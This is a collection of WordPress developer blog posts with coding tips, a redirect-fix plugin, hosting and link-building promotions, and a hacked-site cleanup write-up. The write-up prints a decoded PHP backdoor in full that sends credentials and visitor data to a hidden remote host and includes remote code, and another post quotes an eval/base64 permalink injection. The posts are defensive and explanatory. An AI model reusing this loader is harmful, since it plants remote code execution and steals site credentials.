Note: if you’re not a WordPress plugin developer, this probably won’t interest you.

I ran across this again today, hence my rant:

I installed a plugin from the WordPress Plugin Repository ( the place that hosts WordPress plugins so you can download them ), THEN looked through the code. This small specialty plugin added 17 options to the options table!

WP developer peeps, there is no excuse for this. By adding so many options, you clog up the options table. Unless you specify the option as an autoload, you’re using a database read every time you call get_option(). What a waste!

What should you do instead? Glad you asked!

Combine your options into an array. Easy smeasy. WordPress will store your options array as serialized data. Return get_option() to a variable at the start of your script, giving you easy access to all its components.

The WordPress core is getting sizable enough that responsible developers need to optimize their code as much as possible. Eliminating unnecessary database reads/writes is a good first step.

If you need an example, leave a comment and I’ll post one.

EDIT: as requested, here’s a couple of examples. First, what many developers do but shouldn’t:

$myoption1 = "ted";
$myoption2 = "fred";
$myoption3 = "jed";

update_option( 'myoption1', $myoption1);
update_option( 'myoption2', $myoption2);
update_option( 'myoption3', $myoption3);

Notice how the above uses 3 different options: myoption1, myoption2, myoption3. These take up 3 rows in the database, and require 3 different calls to get_option() when the data is needed. Now, 3 isn’t very many – but consider when your plugin uses 30 or 40 different options or presets ( some of mine do ). The potential to clutter up the database and cause a slowdown in your page load times is huge.

Here’s how you should code your options:

$myoptions = array( 'option1' => 'ted', 'option2' => 'fred', 'option3' => 'jed');
update_option( 'myoption', $myoptions );

And that’s all there is to it. The update_option function recognizes that you are passing an array and serializes the values for entry in the database. When you need to retrieve the options, simply call get_option into an array variable, and access from there. One call, 40 options. Lotsa overhead saved

$myoptions = get_option( 'myoption');

/*
now, $myoptions['option1'] = 'ted', $myoptions['option2'] = 'fred', and so on.
*/

147 Total TweetBacks: (Tweet this post)

I don’t put my stamp of approval on too many things, but I do need to tell you about the hosting that I use and highly recommend – HostGator.

I have been on the web for over 10 years now, and seen a lot of hosting companies come and go, and used several. Never have I had the experience that I have had with HostGator. It’s been, in a word, fantastic.

Remember to use the coupon code "ILIKEWORDPRESS" for your first month free!

Support

Number one, their support has been great. I have experienced a handful of isolated problems over the last 3 years I’ve been with them, and all were handled promptly, professionally, and FAST. There’s nothing worse than having a client call in the middle of the night crying, “my site is down!” In those situations, I need the problem handled quickly, and HostGator has never let me down.

Features

What a hosting company can do for me is important. I need technical goodies, I need plenty of bandwidth and storage space, and I don’t need to be nitpicked over how many databases I use. HostGator shines in that department. Unlimited storage, unlimited domains, unlimited bandwidth, unlimited MySQL databases. Of course, ‘unlimited’ doesn’t always mean unlimited. If your account starts hogging server resources, you’ll garner some attention.

That said, I’ve never had it be an issue. On one of my Baby accounts, I run 35 sites. Admittedly, they’re not high-volume super popular sites, but they get their share of traffic.

Special Deal for ILikeWordPress.com readers

HostGator has allowed me to offer you a special deal! Use the coupon code “ILIKEWORDPRESS” and get your first month’s Baby plan hosting for only $0.01!! That’s right – ONE PENNY. How cool is that?

Go ahead and get signed up – click any of the links to go to HostGator, or one of the banners, and remember to use coupon code ILIKEWORDPRESS at checkout for your discount!

65 Total TweetBacks: (Tweet this post)

While visiting Lynn Terry’s Clicknewz blog, I noticed something that I hadn’t really given a lot of thought to: is there a reason to NOT display a blog post’s date? (Off-Topic Warning – Lynn writes a fantastic blog on Internet Marketing with posts like Taking Daily Action: Huge Goals, Little Steps – you really should check it out if you’re interested in making money on the net)

Anyway, Lynn doesn’t display post dates on her blog posts except for some of the archive listings. After checking out quite a few other blogs, I see that somewhere around 25% of bloggers do NOT put dates on their posts.

After communing with the great and powerful Google, I found this post by Darren Rowse of ProBlogger: Dates on Blog Posts – Should You Have Them? where he discusses the question at length.

I’m not going to get into the question of whether you should or shouldn’t display the date on your blog posts other than to say that personally, I find it annoying when I can’t find a post date. Knowing when a piece was written adds a certain relevance to my consideration of the post content.

One of the suggestions Darren made was to display the date only on recent posts:

Dates on Recent Posts But Not on Older Ones - I saw one blogger do this last year (I’m afraid I don’t remember who it was). They had hacked WordPress so that dates appeared on recent posts (within the last 3 months) but anything older than that did not have time stamps either on the post or comments. This meant that the blogger benefited from new posts looking new and took the potential distraction of old posts away from readers. I don’t know exactly how the blogger did it but presume they set up a rule that looked at the date of authorship and then determined whether the date would be displayed or not.

The ‘hack’ that Darren mentions is actually pretty easy, if you’re comfortable modifying your theme files. Using WordPress’s new “twentyten” theme that comes packed with WordPress 3.0, I’ll show you exactly what you have to do to show the post dates on single posts only if they’re fresher than 3 months old. 3 months is an arbitrary figure, by the way, so adjust it to whatever spins your prop.

Note: the new twentyten theme wraps up the post meta information ( date, author, etc.) into a function. When you disable this function, you’ll lose that line completely, exactly like Lynn’s posts.

I recommend that you do NOT use the built-in theme editor in WordPress, especially when you’re messing around with PHP coding. One misplaced semi-colon and you could render your blog DOA. Then the only cure is to use an FTP client and replace the screwed-up theme file. If you MUST use the built-in editor, be certain that you have a clean backup of the file you’re working on!

So, step one: locate the single.php file within the twentyten theme folder and make a backup.

Open single.php in your fav text editor. The section that holds the meta display code begins on line 25 and looks like this (disregard the line #s in the examples that follow):

<div class="entry-meta">
  <?php twentyten_posted_on(); ?>
</div><!-- .entry-meta -->

What we’re going to do is to insert a test – is the post less than 90 days old? If so, display the post particulars. If not, leave it blank.

To do that, we’ll use a simple ‘if’ statement, comparing the date 90 days ago with that of the post. We will use PHP’s useful strtotime() date conversion function to make things easy:

<?php
if ( strtotime( get_the_date() ) > strtotime( "90 days ago" ) ) {
?>
<div class="entry-meta">
 <?php twentyten_posted_on(); ?>
</div>
<?php
 }
 ?>

The strtotime() function converts whatever is in the parentheses to a Unix timestamp. The function get_the_date() is a new WordPress 3.0 function that fetches the post date and returns it in the format specified in your preferences.

And there you have it – no more dates on posts older than 90 days old.

No TweetBacks yet. (Be the first to Tweet this post)

The same project that led to the post Loading WordPress From index.php involved cleaning up after a hacking incident. In fact, that’s what the initial work order was for.

This blog was hit recently by the same attack that has been in the news for the last few days. Lorelle on WordPress wrote some things about it:

There are two clues that your WordPress site has been attacked.

There are strange additions to the pretty permalinks, such as example.com/category/post-title/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/. The keywords are “eval” and “base64_decode.”

The second clue is that a “back door” was created by a “hidden” Administrator. Check your site users for “Administrator (2)” or a name you do not recognize. You will probably be unable to access that account, but Journey Etc. has a possible solution.

This blog was different in that there were no other admin accounts created. The same code was appearing in permalinks ( and was, indeed, shown in Settings -> Permalinks ).

Another symptom of this type of general attack are posts that are filled with spam links enclosed within HTML comment tags. You’ll not see them, but Google does.

Looking a little deeper, I found evidence of another previous hack job. The server error log contained hundreds of these entries:

[Wed Sep  8 11:40:16 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/downlaod.nod.32.php
[Wed Sep  8 11:38:31 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/instalation.com.php
[Wed Sep  8 11:38:04 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/muonline.win_mu.php
[Wed Sep  8 11:36:19 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/DV-driver.crack.php
[Wed Sep  8 11:35:53 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/koolmoves.5.key.php
[Wed Sep  8 11:34:34 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/inurl:.free.xxx.php
[Wed Sep  8 11:33:16 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/crak.do.flash.5.php
[Wed Sep  8 11:32:23 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/wow.1.10.2.enus.php
[Wed Sep  8 11:31:31 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/torrent.stylexp.php
[Wed Sep  8 11:28:53 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/crack.for.harry.php

WTF? 66.249.71.154, according to reverse IP lookup, is Googlebot. Why is Googlebot trying to load these files? Still haven’t found the answer to THAT question. But what I find next begins to shed some light…

I poke around in the filesystem, and I find a number of folders within the WordPress wp-content folder that had extra files added to them (including the plugins/podpress folder):

.htaccess
date.php
time.php
include.php

The filenames between the folders were all different, with the exception that they all had an .htaccess file. Here’s what was in .htaccess file in the wp-content/header folder:

Options -MultiViews

ErrorDocument 404 //wp-content/header/time.php

So what’s happening is that any request for http://domain.com/wp-content/themes/header/anyfilename.php would result in time.php being served as the 404 page.

And time.php (along with all the other added php files) is a nasty little bugger:

<?php
error_reporting(0);
$p="bcjihzzazbzgc";
eval(base64_decode("Y2xhc3MgbmV3aH... more characters here, several K's worth ... R0cHsNCnZhciAkZnVsbX0="));
?>

So the code turns off error reporting, then says to eval (run) the code enclosed in quote marks after base64 decoding. I haven’t taken the time to figure out what the class that the file defines does, but somehow I don’t think it’s anything nice. After decoding, this is the file contents:

<?php
class newhttp {var $fullurl;var $p_url;var $conn_id;var $flushed;var $mode = 4;var $defmode;var $redirects = 0;var $binary;var $options;var $stat = array('dev' => 0,'ino' => 0,'mode' => 0,'nlink' => 1,'uid' => 0,'gid' => 0,'rdev' => -1,'size' => 0,'atime' => 0,'mtime' => 0,'ctime' => 0,'blksize' => -1,'blocks' => 0);
function error($msg='not connected') {if ($this->options & STREAM_REPORT_ERRORS) {trigger_error($msg, E_USER_WARNING);}return false;}
function stream_open($path, $mode, $options, $opened_path) {$this->fullurl = $path;$this->options = $options;$this->defmode = $mode;$url = parse_url($path);if (empty($url['host'])) {return $this->error('missing host name');}$this->conn_id = fsockopen($url['host'], (empty($url['port']) ? 80 : intval($url['port'])), $errno, $errstr, 2);if (!$this->conn_id) {return false;} if (empty($url['path'])) {$url['path'] = '/';}$this->p_url = $url;$this->flushed = false;if ($mode[0] != 'r' || (strpos($mode, '+') !== false)) {$this->mode += 2;}$this->binary = (strpos($mode, 'b') !== false);$c = $this->context();if (!isset($c['method'])) {stream_context_set_option($this->context, 'http', 'method', 'GET');}if (!isset($c['header'])) {stream_context_set_option($this->context, 'http', 'header', '');}if (!isset($c['user_agent'])) {stream_context_set_option($this->context, 'http', 'user_agent', ini_get('user_agent'));}if (!isset($c['content'])) {stream_context_set_option($this->context, 'http', 'content', '');}if (!isset($c['max_redirects'])) {stream_context_set_option($this->context, 'http', 'max_redirects', 5);}return true;}
function stream_close() { if ($this->conn_id) { fclose($this->conn_id);$this->conn_id = null;} }
function stream_read($bytes) { if (!$this->conn_id) { return $this->error();} if (!$this->flushed && !$this->stream_flush()) { return false;} if (feof($this->conn_id)) { return '';} $bytes = max(1,$bytes);if ($this->binary) { return fread($this->conn_id, $bytes);} else { return fgets($this->conn_id, $bytes);} }
function stream_write($data) { if (!$this->conn_id) { return $this->error();} if (!$this->mode & 2) { return $this->error('Stream is in read-only mode');} $c = $this->context();stream_context_set_option($this->context, 'http', 'method', (($this->defmode[0] == 'x') ? 'PUT' : 'POST'));if (stream_context_set_option($this->context, 'http', 'content', $c['content'].$data)) { return strlen($data);} return 0;}
function stream_eof() { if (!$this->conn_id) { return true;} if (!$this->flushed) { return false;} return feof($this->conn_id);}
function stream_seek($offset, $whence) { return false;}
function stream_tell() { return 0;}
function stream_flush() { if ($this->flushed) { return false;} if (!$this->conn_id) { return $this->error();} $c = $this->context();$this->flushed = true;$RequestHeaders = array($c['method'].' '.$this->p_url['path'].(empty($this->p_url['query']) ? '' : '?'.$this->p_url['query']).' HTTP/1.0', 'HOST: '.$this->p_url['host'], 'User-Agent: '.$c['user_agent'].' StreamReader' );if (!empty($c['header'])) { $RequestHeaders[] = $c['header'];} if (!empty($c['content'])) { if ($c['method'] == 'PUT') { $RequestHeaders[] = 'Content-Type: '.($this->binary ? 'application/octet-stream' : 'text/plain');} else { $RequestHeaders[] = 'Content-Type: application/x-www-form-urlencoded';} $RequestHeaders[] = 'Content-Length: '.strlen($c['content']);} $RequestHeaders[] = 'Connection: close';if (fwrite($this->conn_id, implode("\r\n", $RequestHeaders)."\r\n\r\n") === false) { return false;} if (!empty($c['content']) && fwrite($this->conn_id, $c['content']) === false) { return false;} global $http_response_header;$http_response_header = fgets($this->conn_id, 300);$data = rtrim($http_response_header);preg_match('#.* ([0-9]+) (.*)#i', $data, $head);if (($head[1] >= 301 && $head[1] <= 303) || $head[1] == 307) { $data = rtrim(fgets($this->conn_id, 300));while (!empty($data)) { if (strpos($data, 'Location: ') !== false) { $new_location = trim(str_replace('Location: ', '', $data));break;} $data = rtrim(fgets($this->conn_id, 300));} trigger_error($this->fullurl.' '.$head[2].': '.$new_location, E_USER_NOTICE);$this->stream_close();return ($c['max_redirects'] > $this->redirects++ && $this->stream_open($new_location, $this->defmode, $this->options, null) && $this->stream_flush());} $data = rtrim(fgets($this->conn_id, 1024));while (!empty($data)) { $http_response_header .= $data."\r\n";if (strpos($data,'Content-Length: ') !== false) { $this->stat['size'] = trim(str_replace('Content-Length: ', '', $data));} elseif (strpos($data,'Date: ') !== false) { $this->stat['atime'] = strtotime(str_replace('Date: ', '', $data));} elseif (strpos($data,'Last-Modified: ') !== false) { $this->stat['mtime'] = strtotime(str_replace('Last-Modified: ', '', $data));} $data = rtrim(fgets($this->conn_id, 1024));} if ($head[1] >= 400) { trigger_error($this->fullurl.' '.$head[2], E_USER_WARNING);return false;} if ($head[1] == 304) { trigger_error($this->fullurl.' '.$head[2], E_USER_NOTICE);return false;} return true;}
function stream_stat() { $this->stream_flush();return $this->stat;}
function dir_opendir($path, $options) { return false;}
function dir_readdir() { return '';}
function dir_rewinddir() { return '';}
function dir_closedir() { return;}
function url_stat($path, $flags) { return array();}
function context() { if (!$this->context) { $this->context = stream_context_create();} $c = stream_context_get_options($this->context);return (isset($c['http']) ? $c['http'] : array());}}
if(isset($_POST["l"]) and isset($_POST["p"])){if(isset($_POST["input"])){$user_auth="&l=".base64_encode($_POST["l"])."&p=".base64_encode(md5($_POST["p"]));} else {$user_auth="&l=".$_POST["l"]."&p=".$_POST["p"];}} else {$user_auth="";}if(!isset($_POST["log_flg"])){$log_flg="&log";}$rkht=1;if(version_compare(PHP_VERSION,'5.2','>=')){if(ini_get('allow_url_include')){$rkht=1;}else{$rkht=0;}}if($rkht==1){if(ini_get('allow_url_fopen')){$rkht=1;}else{$rkht=0;}}$v=$p.base64_decode("LnVzZXJzLmJpc2hlbGwucnU=")."/?r_addr=".sprintf("%u", ip2long(getenv("REMOTE_ADDR")))."&url=".base64_encode($_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]).$user_auth.$log_flg;if($rkht==1){if(!@include_once(base64_decode("aHR0cDovLw==").$v)){}}else{stream_wrapper_register('http2','newhttp');if(!@include_once(base64_decode("aHR0cDI6Ly8=").$v)){}}
?>

Anyway, that’s what I found, that’s what I had to clean up. Six and a half hours to go through all of the files looking for this thing, cleaning up as I went.

UPDATE:

Since writing this post, I’ve completed 4 more site cleanups — each averaging over 4 hours. Gets rather expensive, guys and girls.

Please keep your WordPress installs up to date. That’s the most efficient way to guard against this kind of maliciousness.

564 Total TweetBacks: (Tweet this post)

One of WordPress’ strengths is its attention to SEO-related issues in its core files. One of those issues is the problem of having the home page of the blog indexed twice in the search engines; once under the actual address, http://domain-name.com/index.php, and the other as the plain domain name: http://domain-name.com. Note that this is a different problem than the trailing slash problem ( http://domain-name.com/ vs. http://domain-name.com ) which WordPress also takes care of.

WordPress handles the index.php problem by rewriting requests for http://domain-name.com/index.php to http://domain-name.com. All well and good, and beneficial for most sites.

But that rewriting/redirecting caused some problems on a site I was working on yesterday, and once I figured out how, it was a relatively easy fix.

Here’s what happened: a client had me upgrade an old installation of SemioLogic’s version of WordPress to genuine WordPress. While it can be time-consuming, switching over is a fairly straightforward process most of the time. The challenge here was that while most of the site is normal .html files, WordPress is installed at the root level, and is not actually serving the ‘home’ page of the site.

So you can maybe see where this is headed: the ‘home’ page of the site is index.html. That’s what comes up when you ask for http://domain-name.com. The server is set to look for index.html first, then index.php if index.html isn’t there. So to get to the blog, you had to ask for http://domain-name.com/index.php.

But when you asked for index.php, WordPress, being the dutiful SEO-friendly software that it is, stripped off “index.php” from the request, and redirected to http://domain-name.com.

The server saw the request for the site index file and promptly served up index.html. So you couldn’t get to the home page of the blog. If you had a specific post URL and typed it in, it worked fine.

Easy fix, says I. Settings -> General, change the WordPress url to http://domain-name.com/index.php from http://domain-name.com.

Oops. Now all the permalinks have ‘index.php/’ prepended: http://domain-name.com/index.php/i-want-this-post. Not good, and not intended, especially as the site has been indexed in Google without the index.php in there.

I never did figure out how SemioLogic handled this; obviously it was working before the changeover. Undoubtedly there was an easy setting that disappeared once the SL files were gone. I can only think this issue had come up before and the author of SL provided a workaround.

Thankfully, the coders of WordPress also recognized that there may be a time when rewriting URLs wasn’t good so they provided a filter to disable or alter the rewrite. Once I found that notation in includes/canonical.php, the fix was a breeze. Write a plugin that disables the redirect to / when /index.php is called for. Here is the entire plugin:

<?php
/*
Plugin Name: Index.php fix
Plugin URI: http://ilikewordpress.com/loading-wordpress-from-index-php
Description: This plugin allows a blog installed at root to be addressed by /index.php. Remedies stripping of filename by includes/canonical.php
Author: Steve Johnson
Version: 1.0
Author URI: http://ilikewordpress.com/
*/

/*
*    Applies filter to redirect_canonical to defeat
*    stripping of index.php file
*/

function fix_index( $requested_url ) {
 if ( get_bloginfo( 'url' ) == $requested_url )
 return false;
}
add_filter( 'redirect_canonical', 'fix_index' );

?>

And that’s all there is to it. Now when a browser asks for ‘index.php’, that’s what it gets instead of a redirection to /.

You could also put this in the functions.php file of a theme, but obviously it wouldn’t work if the theme were changed.

176 Total TweetBacks: (Tweet this post)

On this and other blogs, I have a recurring pain in the butt issue. Some people subscribe to a comment thread, and upon every comment following, I get a challenge email from SpamArrest when the notification of a new comment email is sent.

Here’s news: I don’t click the verify link. As a matter of fact, I don’t even GET the verify link. All of those verification emails go straight to my trash can. I realize this might not be very reader-friendly, but I simply don’t have time to open up every email and click those stupid links, even if I were inclined to.

So please – if you’re a spamarrest customer and you want to subscribe to a comment thread, put ilikewordpress.com on whatever kind of whitelist they have so you can get the subscription notifications. Otherwise, you won’t get any notices from this site about updated comments.

No TweetBacks yet. (Be the first to Tweet this post)

The last few days have seen a rash of hacker attacks on WordPress blogs, with isolated reports going back a month or more. Without exception, as far as I can tell, the successful attacks were on blogs running outdated older versions of WordPress. The latest exploits involve hidden admin users and permalinks polluted with javascript code, outlined in these posts on the WordPress support forum:

http://wordpress.org/support/topic/307652
http://wordpress.org/support/topic/297639
http://wordpress.org/support/topic/307518

WP 2.8.3 and 2.8.4 are NOT vulnerable to this exploit. If you’ve been hacked any time in the last month, and you’re running pre-2.8.3 software, the monkey’s on YOUR back. If you were hacked and running up-to-date version of WP, send the details to security@wordpress.org please.

If you’ve been lax and haven’t upgraded to the latest version, don’t do it until you’ve determined whether or not you’ve already been invaded. If you have, clean it up first, then upgrade. (Be sure you read the “Beyond Upgrading” section at the end of this post)

How To Tell If You’ve Been Hacked

Two clues: check your permalinks, check your administrator users.

Permalinks: from your front page, hover over a link to a single post. Look in the status bar at the bottom of your browser. If you see text like ‘mypost/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/‘ then you’ve been had.

Log into your dashboard, go to the Users->Authors and Users page. At the top, you’ll see links that let you display users by their status. Look at the Administrator (x) link. How many admins do you have on your blog? If you’ve been hacked, the number in parentheses will be one higher than your actual admin count. In other words, if you’re a single-person blogger, you’ll see (2) for the Administrator count.

There are a couple of other hacks out there that aren’t related to this one; we’ll cover those in a little bit.

What To Do If You’ve Been Hacked

I’m going to be right up front with you — this one isn’t an easy one to clean up.

Step #1: clean up your permalink structure. Hover over a link to a post on your blog, and make a note of your permalink structure. The two most popular permalink structures are ‘day – name’, i.e. http://ilikewordpress.com/2009/09/06/sample-post/ or ‘month-name’, i.e. http://ilikewordpress.com/2009/09/sample-post/ . Some more advanced users may have different setups.

In your Dashboard, go to Settings -> Permalinks. In the input box, delete all the malicious code. What you leave will vary, determined by what your permalink structure was. If you’re using one of the two ‘standard’ structures, select a different one, then reselect your original, then click the Update button. If you’re using a custom structure ( like I am on ilikewordpress.com ), you’ll need to clear the input box and enter the proper tags, i.e. /%post_id%/%postname%/ like I have here.

Step #2: get rid of the extra administrator. This is a little trickier. There are two ways to do this, first is through your Authors & Users page, the second is directly through the database.

Method #1, through the Authors & Users page: follow the instructions here from Journey Etc. to clean out the malicious user.

Method #2, directly through the database, is a little more complicated. Contact me if you want instructions on how to do it. Generally, unless you have other issues, it’s much easier to use Method #1.

Step #3: upgrade your WordPress software.

If you’re stuck with using FTP, follow these upgrade instructions from the WordPress Codex.

If you’re lucky enough ( or had enough foresight ) to be on hosting that gives you shell access, here’s a 5 minute upgrade path:

Log into your hosting account through your SSH client. Navigate to your WordPress folder. Do the following (don’t do the lines prefaced by ## ):

## move config.php out of the way

mv wp-config.php wp-config.php.bak

## get rid of existing WP files

rm -rf wp-includes wp-admin wp-*.php xmlrpc.php

## get new wordpress files

wget http://wordpress.org/latest.zip

## uncompress

unzip latest.zip

## unzipped files were stored in /wordpress, copy from there

cp -R wordpress/* .

## get rid of zip and wordpress dir

rm -rf wordpress latest.zip

## restore config

mv wp-config.php.bak wp-config.php

## done!

If you’ve followed the upgrade path through several versions, it is essential that you upgrade your wp-config.php file to the latest version that contains the authentication keys.

If you want to do it directly on your server through vim, you can, but it’s probably easier to make a new config file and upload it through FTP.

Beyond Upgrading

After you’ve upgraded your WordPress software, you’ll want to make sure you’re doing everything you can to keep this from happening again. Unless, of course, you like cleaning up after these people.

To start, review Michael VanDeMar’s post on How to Completely Clean Your Hacked WordPress Installation. Much good info there.

Second, install the WP Security Scan plugin and use it.

Third, don’t do stupid things. Use strong passwords, upgrade when new releases come out. They’re not just eye candy.

188 Total TweetBacks: (Tweet this post)

This isn’t strictly WordPress related, but if you are an avid blogger and use your blog(s) for income, then you might want to check out Jonathan Leger’s My Way Links program.

One thing that we’re all looking for as bloggers is traffic. Lots and lots of traffic. To get that traffic, we have to rank well in search engines for the things we write about. One of the biggest boosts to that ranking is incoming links, meaning links on other sites that link to pages or posts on your site.

Those can be difficult to get. For a lot of us, it’s not all that important. We’re content to let the community decide the worth of what we write, and link back to us every once in a while.

If you depend on your blog for income, you can’t afford to do that. A lot of your time is spent on SEO strategies. That’s where the My Way Links program comes in. You can build a variety of incoming links from authority sites at a quicker pace than you normally would be able to. You’ll want to use it in moderation of course, but a tool like this is invaluable when it comes to getting high-quality inbound links that will help get your blog found in the Big G.

I wrote a short note about this on TheFastLane blog also, entitled SEO Linking Strategies. You might want to check it out also.

4 Total TweetBacks: (Tweet this post)

I had a client call up over the weekend in a panic because her blog disappeared.

“Help! All I see is a blank screen!”

“What’s the last thing you did?” says I.

“Updated my theme files,” says she.

So after an hour’s worth of troubleshooting, I found the problem:

Plugin and theme developers: please do us all a favor and do NOT use the short PHP opening tag (<?) instead of the full length tag: <?php.

Just because you have your development server set up to recognize short tags doesn’t mean that production servers do. In fact, many if not most of them don’t.

Just a request. Yeah, I suppose I make some money fixing this stuff when you do that. But I’d rather not.

Bloggers: if you upload a plugin or theme and you get a fatal error saying “Unexpected $end in filename.php at line xx”, this is one of the first things to check.

Unfortunately, if your web server isn’t set up to allow short PHP tags and also doesn’t display errors (production servers shouldn’t display PHP errors or notices) you might just get the dreaded blank white “I’m dead” screen.

Just something to be aware of.

2 Total TweetBacks: (Tweet this post)

I saw a tweet today about WordPress comment page duplication issues related to SEO. While the word is still out as to just how much damage it does or doesn’t do to your ability to get found by the Great G, this specific problem is relatively easily fixed — and not by disabling the paged comments feature that the Wizards of WordPress have so kindly coded for us (you ever had a post with 300 comments? you’ll understand what I mean…).

All it takes is a little bit of code in the functions.php file in your theme. If you’re uncomfortable editing your theme files or don’t know how, leave a comment and I’ll whip up a little plugin. This may be a good time to learn to edit your files, though

This little bit of code doesn’t affect anything but WordPress comment pages. If you use WordPress for something other than a plain-vanilla blog, you may need the horsepower of Yoast’s Canonical URLs plugin for WordPress.

So in your functions.php file, insert the following code (I split the echo lines up for clarity, normally they’d be all on one line):

function canonical_for_comments() {
 global $cpage, $post;
 if ( $cpage > 1 ) :
  echo "\n";
  echo "<link rel='canonical' href='";
  echo get_permalink( $post->ID );
  echo "' />\n";
 endif;
}
add_action( 'wp_head', 'canonical_for_comments' );

Make sure you paste the code before the last ?> characters at the end of the file.

For those of you who care, here’s a quick explanation of what the above code does — you’ll get a short intro into the behind-the-scenes functioning of WordPress.

When a visitor navigates beyond the first page of comments, the variable $cpage contains the page # that’s being displayed. The $post variable contains all of the information about the post. The function tests to see if we’re on a comments page greater than 1, if so, it spits out the <link rel=…./> characters. But where does it spit them?

That’s controlled by the add_action line. We’re telling WordPress that when it’s building the head section (‘wp-head’), to add our special ‘canonical_for_comments’ function.

Simple, easy schmeezy.

12 Total TweetBacks: (Tweet this post)